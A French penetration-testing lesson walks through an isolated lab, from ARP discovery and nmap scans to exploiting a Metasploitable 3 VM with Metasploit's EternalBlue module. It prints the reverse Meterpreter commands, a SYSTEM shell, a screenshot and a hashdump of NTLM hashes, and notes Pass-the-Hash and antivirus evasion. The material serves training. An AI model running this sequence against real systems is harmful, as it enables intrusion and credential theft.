Aller au contenu principal

Introduction et Kali — Démonstration guidée

On arrête la théorie. On monte le laboratoire, on scanne, on obtient un shell. Vous allez voir de vos yeux la première machine tomber. Ensuite, en atelier, vous le referez seul(e).

Rappel — laboratoire fermé, uniquement

Toutes les commandes de cette leçon sont exécutées entre deux VM sur votre poste, sur un réseau isolé de l'internet et du LAN. Aucune d'elles ne doit sortir vers l'extérieur. Si vous ne pouvez pas garantir l'isolement, arrêtez ici et allez d'abord lire la section « Réseau isolé » plus bas.

Ce que vous saurez faire après cette leçon​

  • Monter un laboratoire attaquant + victime en trente minutes.
  • Découvrir la victime sans connaître son IP à l'avance.
  • Lire la sortie de nmap sans deviner — savoir ce que chaque colonne dit.
  • Obtenir un premier shell avec Metasploit sur une faille historique (EternalBlue, MS17-010).
  • Comprendre à quoi ressemble une preuve utilisable en rapport.

Le décor​

Deux VM, une seule et unique règle : elles ne se parlent qu'entre elles.

MachineRôleAdresse dans le lab
Kali LinuxPoste attaquant. C'est vous.10.10.10.5
Metasploitable 3 (Windows)Cible volontairement vulnérable.Inconnue au départ, quelque part dans 10.10.10.0/24.

Metasploitable 3 est la machine d'entraînement officielle publiée par Rapid7 (l'éditeur de Metasploit). Elle est faite pour être détruite. Vous pouvez aussi utiliser un Windows 7 non patché avec SMBv1 activé.


Étape 0 — Le réseau isolé (indispensable)​

Dans VirtualBox : File → Host Network Manager → Create. Cochez DHCP disabled, mettez l'hôte en 10.10.10.1/24.

Dans les deux VM : Settings → Network → Adapter 1 → Host-only Adapter, choisir le réseau créé.

Vérification (sur Kali) :

ip -brief address

Sortie attendue :

lo               UNKNOWN        127.0.0.1/8
eth0 UP 10.10.10.5/24

Un ping 8.8.8.8 doit échouer :

From 10.10.10.5 icmp_seq=1 Destination Host Unreachable

Bien. Si le ping passe, votre lab n'est pas isolé — corrigez avant de continuer.


Étape 1 — Trouver la cible (ARP scan)​

Vous ne connaissez pas l'IP de la victime. Vous ne la demanderez pas : on la cherche.

sudo netdiscover -r 10.10.10.0/24 -P

Sortie typique après 20 secondes :

 Currently scanning: Finished!   |   Screen View: Unique Hosts

IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------
10.10.10.1 0a:00:27:00:00:0a 1 42 Cadmus Computer Systems
10.10.10.12 08:00:27:c3:5f:1e 1 42 PCS Systemtechnik GmbH

Lecture :

  • 10.10.10.1 est votre hôte VirtualBox (à ignorer).
  • 10.10.10.12 est la cible. Le fabricant PCS Systemtechnik est la signature VirtualBox — c'est bien une VM.

Notez l'IP. Elle est à vous pour la suite.

Définition — ARP, MAC, et pourquoi netdiscover marche sans autorisation

Sur un réseau local, deux machines qui veulent se parler ont besoin de deux adresses. L'adresse IP est celle du protocole d'Internet, en 10.10.10.12. L'adresse MAC, gravée dans la carte réseau, est celle du support physique, en 08:00:27:c3:5f:1e. IP pour dire à qui, MAC pour dire par où.

Comment la première se traduit en la seconde ? C'est le rôle du protocole ARP, Address Resolution Protocol. Quand Kali veut envoyer un paquet à 10.10.10.12 mais ne connaît pas encore sa MAC, elle diffuse à tout le réseau la question « qui a 10.10.10.12 ? ». La machine concernée répond avec sa MAC ; Kali retient la correspondance quelques minutes dans son cache.

netdiscover exploite exactement ce mécanisme, en balayant la plage 10.10.10.0/24 avec des requêtes ARP. C'est extrêmement discret côté logs — la plupart des systèmes n'enregistrent pas les requêtes ARP —, cela ne traverse pas les routeurs, et cela fonctionne même quand un pare-feu bloque le ping. En revanche, cela n'aide plus dès qu'on sort du même segment réseau : au-delà du routeur, on redevient dépendant d'un scan IP classique.


Étape 2 — Scanner les ports (nmap)​

Ne partez pas dans un nmap -A --script=vuln 10.10.10.12 d'un coup. On avance en couches, du plus discret au plus bavard.

2a. Ports ouverts, rien d'autre​

nmap -sS -Pn -p- --min-rate 2000 10.10.10.12 -oN scan-ports.txt
  • -sS : SYN scan. On envoie le premier paquet TCP, on lit la réponse, on ne finit pas la poignée de main. Rapide, moins de traces qu'un scan complet.
  • -Pn : ne pas pinger d'abord — la cible peut ignorer l'ICMP.
  • -p- : les 65 535 ports, pas seulement les 1000 par défaut.
  • --min-rate 2000 : accélérer un peu (à ne pas faire en prod).
  • -oN : sortie lisible dans un fichier, pour votre rapport.
Définition — la poignée de main TCP, et pourquoi le SYN scan la coupe court

Une connexion TCP normale s'ouvre en trois échanges, la poignée de main en trois temps. Le client envoie un paquet marqué SYN, synchronise ; le serveur répond SYN-ACK, synchronisé et j'accuse réception ; le client conclut par ACK, reçu. La connexion est ouverte, les données peuvent circuler.

Le SYN scan de Nmap, aussi appelé demi-ouvert, envoie le premier SYN puis observe la réponse. Si le port est ouvert, il reçoit SYN-ACK : il en déduit que quelqu'un écoute et coupe la connexion avec un RST au lieu du ACK attendu. Si le port est fermé, il reçoit directement RST. Si un pare-feu bloque, il ne reçoit rien.

Deux conséquences pratiques. La connexion n'étant pas terminée, elle n'apparaît souvent pas dans les logs de l'application cible — seul le noyau du système la voit passer. Et le scan est rapide, parce qu'on économise le troisième paquet et la fermeture. C'est le scan par défaut dès qu'on a les droits root, précisément parce qu'il faut root pour forger des paquets TCP à moitié complets.

Extrait de sortie :

PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
4848/tcp open appserv-http
8080/tcp open http-proxy

Lecture :

  • 22, 80, 3389 : SSH, web, RDP — le trio classique.
  • 445 + 139 : partage de fichiers Windows (SMB). C'est le port qui nous intéresse. SMB est historiquement une mine à failles.
  • 3306 : MySQL exposé. À noter pour plus tard.

2b. Versions des services​

Maintenant on demande à chaque service de se présenter :

nmap -sV -p 22,80,135,139,445,3389,8080 10.10.10.12 -oN scan-versions.txt

Extrait clé :

PORT    STATE SERVICE       VERSION
80/tcp open http Microsoft IIS httpd 7.5
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

Traduction : Windows Server 2008 R2 avec SMB en écoute. Windows Server 2008 R2 = date de sortie 2009 = jackpot. Un OS de cette génération, s'il n'a pas été patché, est vulnérable à MS17-010 (nom d'exploit : EternalBlue), la faille publiée par la fuite Shadow Brokers en 2017.

2c. Confirmer la vulnérabilité (script NSE)​

nmap --script smb-vuln-ms17-010 -p 445 10.10.10.12

Sortie attendue :

| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143

Le mot VULNERABLE est en majuscules pour une bonne raison. La machine est à nous. Il ne reste qu'à passer à l'acte.


Étape 3 — Prendre le contrôle avec Metasploit​

Metasploit est un framework. Vous chargez un module (l'exploit), vous lui donnez ses options (la cible), vous lancez.

Définition — Metasploit n'est pas un outil, c'est un cadre

Un outil, au sens strict, fait une chose. Nmap scanne, John the Ripper casse des empreintes, curl transfère un fichier. Metasploit ne fait rien tout seul : c'est un cadre, en anglais framework, qui rassemble et met à disposition plus de deux mille modules d'attaque écrits par des tiers, du kernel BSD des années 2000 au vulnérable Log4Shell de 2021.

L'intérêt du cadre n'est pas la quantité, c'est l'uniformisation. Que le module cible SMB sous Windows ou un CMS PHP, vous manipulez toujours les mêmes commandes — use, show options, set, exploit. Vous choisissez toujours une payload dans la même liste. Vous gérez toujours vos sessions ouvertes avec sessions -l. Cette régularité, invisible pour l'utilisateur qui débute, est ce qui rend Metasploit indispensable dès qu'on quitte le mono-exploit et qu'on enchaîne sur une vraie mission.

Deux limites à connaître. Beaucoup d'antivirus détectent immédiatement les payloads Metasploit non modifiés, parce que leurs signatures sont publiques et anciennes ; le module 8 apprend à les obfusquer. Et un exploit qui existe en manuel n'est pas toujours empaqueté dans Metasploit — dans ce cas on l'exécute à la main, sans passer par le cadre.

msfconsole -q

-q supprime la bannière ASCII (que tout le monde a vue 500 fois).

Dans la console msf6 > :

search ms17-010

Sortie :

   #  Name                                      Rank     Description
- ---- ---- -----------
0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue
1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

On prend le n° 0 :

use 0
show options

Metasploit affiche les paramètres. Trois seulement à régler :

set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
  • RHOSTS — la victime.
  • LHOST — votre Kali (là où le shell va se connecter en retour).
  • LPORT — le port d'écoute chez vous.
Définition — la charge utile, le lanceur, et pourquoi la connexion vient de la cible

Un exploit se lit en deux morceaux. La vulnérabilité est le défaut qui permet de faire exécuter du code arbitraire sur la cible. La charge utile, en anglais payload, est ce code — c'est ce que la cible va faire une fois qu'on lui aura fait exécuter quelque chose. Le premier fait entrer, le second décide ce qui se passe une fois dedans.

Le choix de windows/x64/meterpreter/reverse_tcp mérite d'être compris. windows/x64 : la charge est un binaire Windows 64 bits. meterpreter : ce n'est pas un simple shell, c'est un agent complet chargé en mémoire, dont on parle plus bas. reverse_tcp : la cible ouvre une connexion sortante vers Kali au lieu d'attendre une connexion entrante. C'est la clé pratique du modèle : la plupart des pare-feux d'entreprise inspectent ce qui entre et laissent sortir sans trop regarder, donc une connexion depuis la cible vers un serveur externe a de fortes chances de passer.

Dernier détail utile : les charges dites stagées, comme celle-ci, ne sont pas envoyées d'un bloc. Metasploit envoie d'abord un petit programme, le stager, dont le seul rôle est de contacter Kali pour télécharger la vraie charge — Meterpreter — et de la charger en mémoire. Cela réduit la taille du code initial injecté, ce qui aide sur les exploits où l'on ne dispose que de quelques centaines d'octets.

On lance :

exploit

Sortie (les lignes qui comptent) :

[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.12:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.12:445 - Connecting to target for exploitation.
[+] 10.10.10.12:445 - Connection established for exploitation.
[*] 10.10.10.12:445 - Sending final SMBv1 buffers.
[*] 10.10.10.12:445 - Sending last fragment of exploit packet!
[*] 10.10.10.12:445 - Receiving response from exploit packet
[+] 10.10.10.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending stage (200262 bytes) to 10.10.10.12
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.12:49670)

meterpreter >

Ce meterpreter > change tout. Vous êtes dedans.

Définition — Meterpreter, l'agent qu'on ne voit pas passer

Meterpreter, contraction de meta-interpreter, est un agent d'attaque conçu par Metasploit. Il diffère d'un shell ordinaire sur trois points qu'il vaut la peine de retenir.

Il ne touche jamais le disque. Le shell de la cible s'ouvre, mais Meterpreter est chargé entièrement en mémoire, dans le processus déjà légitime que l'exploit a compromis. Un antivirus classique qui scanne le système de fichiers ne trouvera rien.

Il parle un protocole binaire chiffré à Kali, pas des commandes en texte clair. Ce que vous tapez côté attaquant est traduit en appels de fonctions ; ce que la cible renvoie est empaqueté avant d'être transmis. Un analyste réseau qui capture le trafic voit un flot chiffré, pas des commandes lisibles.

Il expose des capacités qu'un shell ordinaire n'a pas — capture d'écran, dump des empreintes du système, transfert de fichier, migration vers un autre processus, écoute du microphone. Ce sont des fonctions écrites une fois par les auteurs, disponibles quel que soit le système cible, ce qui explique la constance du vocabulaire entre modules très différents.

Meterpreter est ancien, donc bien connu des défenseurs. Les EDR modernes savent le repérer, notamment quand il migre de processus ou quand il fait certains appels systèmes en rafale. C'est pourquoi le module 8 apprend à le camoufler, et pourquoi les red teams professionnels lui préfèrent souvent des agents plus récents comme Sliver ou Havoc.


Étape 4 — Confirmer, et prendre la preuve​

Vérifiez qui vous êtes :

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM. Le compte le plus élevé sur Windows. Pas administrateur : au-dessus. Vous êtes le système lui-même.

Vérifiez où vous êtes :

meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

Et prenez une preuve que vous pourrez coller dans le rapport :

meterpreter > screenshot
Screenshot saved to: /home/kali/gGpJKlmA.jpeg

Ouvrez le fichier : le bureau de la victime, avec l'horodatage. C'est votre proof of pwn.

Pour le fun (et pour illustrer l'impact) :

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

Les empreintes NTLM des comptes locaux. Vous ne les crackerez pas ici — ce sera l'objet du module 9. Le fait de les posséder suffit pour le rapport.

Définition — l'empreinte NTLM, ce qu'on vient de récupérer

Un système d'exploitation ne stocke jamais les mots de passe en clair : il stocke des empreintes, qui sont le résultat d'une fonction mathématique unidirectionnelle appliquée au mot de passe. À partir de l'empreinte on ne remonte pas au mot de passe ; à partir du mot de passe on retrouve toujours la même empreinte. C'est ce qui permet de vérifier une saisie sans jamais garder l'original.

Windows utilise l'empreinte NTLM, dérivée du mot de passe par la fonction MD4. Chaque ligne de la sortie précédente se lit ainsi :

Administrator : 500 : aad3b435b51404eeaad3b435b51404ee : e02bc503339d51f71d913c245d35b50b : : :

Le nom, l'identifiant numérique du compte, l'empreinte LM — obsolète, remplie de zéros dans les configurations modernes —, puis l'empreinte NT proprement dite. Ces empreintes ne sont pas salées, ce qui les rend attaquables par table pré-calculée ou par force brute, comme on le verra au module 9.

Deux propriétés à retenir dès aujourd'hui. Cette empreinte suffit pour se faire passer pour le compte sur d'autres machines Windows du même réseau, sans jamais avoir besoin de connaître le mot de passe : c'est l'attaque Pass-the-Hash. Et l'empreinte du compte Administrator local est souvent la même sur toutes les machines d'un parc dont l'image a été clonée — une seule empreinte volée peut donc ouvrir tout le parc.

Fermez proprement :

meterpreter > exit
[*] Shutting down Meterpreter...

Ce qui vient de se passer, en une image mentale​

  1. Deux VM sur un réseau fermé.
  2. netdiscover a trouvé la cible.
  3. nmap a listé les portes ouvertes, puis les services derrière.
  4. Un script nmap a désigné la faille exploitable.
  5. Metasploit a livré l'exploit et récupéré le shell.
  6. En quatre commandes, vous êtes SYSTEM, avec captures et hashes.

C'est exactement la séquence que l'on fera treize fois, dans des variantes différentes, jusqu'à la fin du cours.


Là où cela dérape, et pourquoi​

  • netdiscover ne trouve rien. Vos deux VM ne sont pas sur le même host-only network. Vérifiez dans les paramètres des deux VM.
  • nmap dit filtered partout. Un pare-feu (Windows Defender Firewall) intercepte. Sur Metasploitable, désactivez le pare-feu de la VM ; sur une cible réelle, changez de technique (module 4).
  • L'exploit rend un Exploit aborted due to failure: no-target. La cible n'est pas 2008 R2, ou SMBv1 est désactivé. Refaites le nmap --script smb-vuln-ms17-010. Si NOT VULNERABLE, changez de faille.
  • La session meterpreter meurt en 2 secondes. Antivirus. Sur ce module, aucun. Sur un vrai target, on passera à des payloads obfusqués (module 8).

Aller plus loin, tout de suite​

Refaites la même séquence, mais avec la variante :

nmap -A -p 445 10.10.10.12

-A cumule détection d'OS, détection de versions, scripts par défaut et traceroute. C'est le scan bruyant. Comparez la sortie avec le scan en couches — vous verrez que la même information vous parvient d'un coup, mais qu'un IDS l'aurait vue arriver de loin.

C'est tout l'enjeu du reste du cours : la même chose, mais discrètement.